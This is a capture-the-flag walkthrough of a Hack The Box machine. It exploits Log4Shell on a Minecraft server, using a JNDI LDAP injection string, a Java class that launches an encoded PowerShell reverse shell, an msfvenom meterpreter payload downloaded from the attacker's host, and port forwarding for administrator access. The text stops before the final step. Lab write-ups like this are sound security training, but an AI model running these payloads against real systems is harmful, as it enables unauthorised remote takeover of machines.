We run a port scan and see that something is running on port 80:
╰─ nmap -sC -sV 10.129.46.74
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-10 17:01 CST
Nmap scan report for crafty.htb (10.129.46.74
Host is up (0.032s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Crafty - Official Website
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.95 seconds
If we visit the site, at first it prompts us to add the hostname crafty.htb, so we can add it to our hosts file and see the following page:
We get to hack a minecraft server?! Can’t say I’ve done it before but it probably has to do with Log4j because the game is built on Java. If we assume that this is a server for Java edition. Either way, let’s add play.crafty.htb to our hosts file and try to connect.
There is a super handy tool that I used to get the version for this server called Minecraft Console Client which can be easily installed by jsut downloading and running a binary:
Minecraft Console Client v1.20.2 - for MC 1.4.6 to 1.20.2 - Github.com/MCCTeam
GitHub build 245, built on 2024-01-30 from commit 1e60b61
Settings file MinecraftClient.ini has been generated.
MCC is running with default settings.
Login :
Password(invisible):
You chose to run in offline mode.
Server IP :
Resolving play.crafty.htb...
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
Logging in...
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.
The current setting is saved as MinecraftClient.ini
>
As we can determine from a security advisory blog postfrom Mojang, this version is vulnerable to the Log4j vulnerability. A great video from John Hamond can be a great help for this machine and understanding Log4j exploits in general.
I found MCC to be a bit difficult to use and decided to use pyCraft which was a bit more simple to spin up and shut down with my terminal configuration.
All we need to do is sent a command in the server’s chat, and we can do that pretty easily with pyCraft so let’s try and set up our shell. I got it working with a Github repository by kozmer that we can clone and spin up.
We do also need to download the older version (jdk1.8.0_20) of the Java JDK for this to work, which can be found here.
Another thing to keep in mind is that we want a reverse shell, so using just the default Exploit.java won’t work here. This file is generated while the exploit runs and so we need to change it and compile it on the fly.
First, we can connect to the Minecraft server:
╰─ python3 start.py -s play.crafty.htb
Enter your username: gabe
Enter your password (leave blank for offline mode):
Connecting in offline mode...
Connected.
Then, we need to grab a reverse shell payload that’ll work on windows, I opted to use Powershell #3 (Base64) from revshells and we just need to hold on to it until we edit the Exploit.java file.
Next we can spin up our exploit server, I places the JDK files in a folder after installing the requirements and running it a few times:
╰─ ls -lh
total 48K
-rw-r--r-- 1 kali kali 177 Feb 10 15:20 Dockerfile
-rw-r--r-- 1 kali kali 2.1K Feb 10 16:18 Exploit.class
-rw-r--r-- 1 kali kali 1.8K Feb 10 16:18 Exploit.java
drwxr-xr-x 8 kali kali 4.0K Jul 30 2014 jdk1.8.0_20
-rw-r--r-- 1 kali kali 1.1K Feb 10 15:20 LICENSE
-rwxr-xr-x 1 kali kali 4.2K Feb 10 15:20 poc.py
-rw-r--r-- 1 kali kali 4.2K Feb 10 15:20 README.md
-rw-r--r-- 1 kali kali 18 Feb 10 15:20 requirements.txt
drwxr-xr-x 2 kali kali 4.0K Feb 10 15:20 target
drwxr-xr-x 4 kali kali 4.0K Feb 10 15:20 vulnerable-application
We can start the exploit server:
╰─ python3 poc.py --userip 10.10.14.166 --webport 8000 --lport 1337
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.10.14.166:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Keep in mind that the IP and port you enter here should match the one you used to make your reverse shell payload. Now we need to edit the Exploit.java file like so so that it uses a Windows reverse shell payload:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("cmd.exe /c powershell.exe -enc PAYLOAD").waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Exploit() {
System.out.println("--Did it work?--");
}
}
Swap out the PAYLOAD with the base64 encoded shell that we generated earlier and then replace it with Exploit.java. Once you’ve replaced it, you can compile it like this:
╰─ ./jdk1.8.0_20/bin/javac Exploit.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Now you need to open a listener with netcat on the port you specified and run the following command on the target minecraft server:
${jndi:ldap://10.10.14.166:1389/a}
After this, we get a shell from the user running the server:
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.166] from crafty.htb [10.129.46.74] 49681
whoami
crafty\svc_minecraft
PS C:\users\svc_minecraft\server>
You can read the user flag from their desktop and move on. To get a more stable shell, I am going to make a reverse shell executable that I can download to the victim machine and run to get a shell with metasploit.
We can make the executable like this:
╰─ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.166 LPORT=9003 --platform windows -f exe -o gabe.exe
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: gabe.exe
Then we open an HTTP server on our machine and use curl to download it to the victim’s machine:
PS C:\Users\svc_minecraft\Downloads> wget http://10.10.14.166/gabe.exe -outfile gabe.exe
Then, you can configure your metasploit console with the following commands:
╰─ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
process, none)
LHOST 10.10.14.166 yes The listen address (an interface may be spe
cified)
LPORT 9003 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.166:9003
[*] Sending stage (175686 bytes) to 10.129.78.19
[*] Meterpreter session 3 opened (10.10.14.166:9003 -> 10.129.78.19:49683) at 2024-02-10 18:10:03 -0600
meterpreter > shell
Process 5100 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5328]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\users\svc_minecraft\Downloads>
This will just generally make working with an unstable shell a lot easier for us. From earlier on the web page, we saw a player count that was hardcoded into the page, but there is a plugins directory here that seems to do just that.
We can use the meterpreter to download it to our machine and we can debug it with jd-gui to find what appears to be a password for the administrator user:
We can forward the port for SMB to our machine so that we can get a shell with impacket-psexec. We can port forward in metasploit like this:
meterpreter > portfwd add -l 445 -p 445 -r 10.129.78.19 -L 10.10.14.166
[*] Forward TCP relay created: (local) 10.10.14.166:445 -> (remote) 10.129.78.19:445
Then we use impacket with the credentials we saw to get a shell as the administrator:
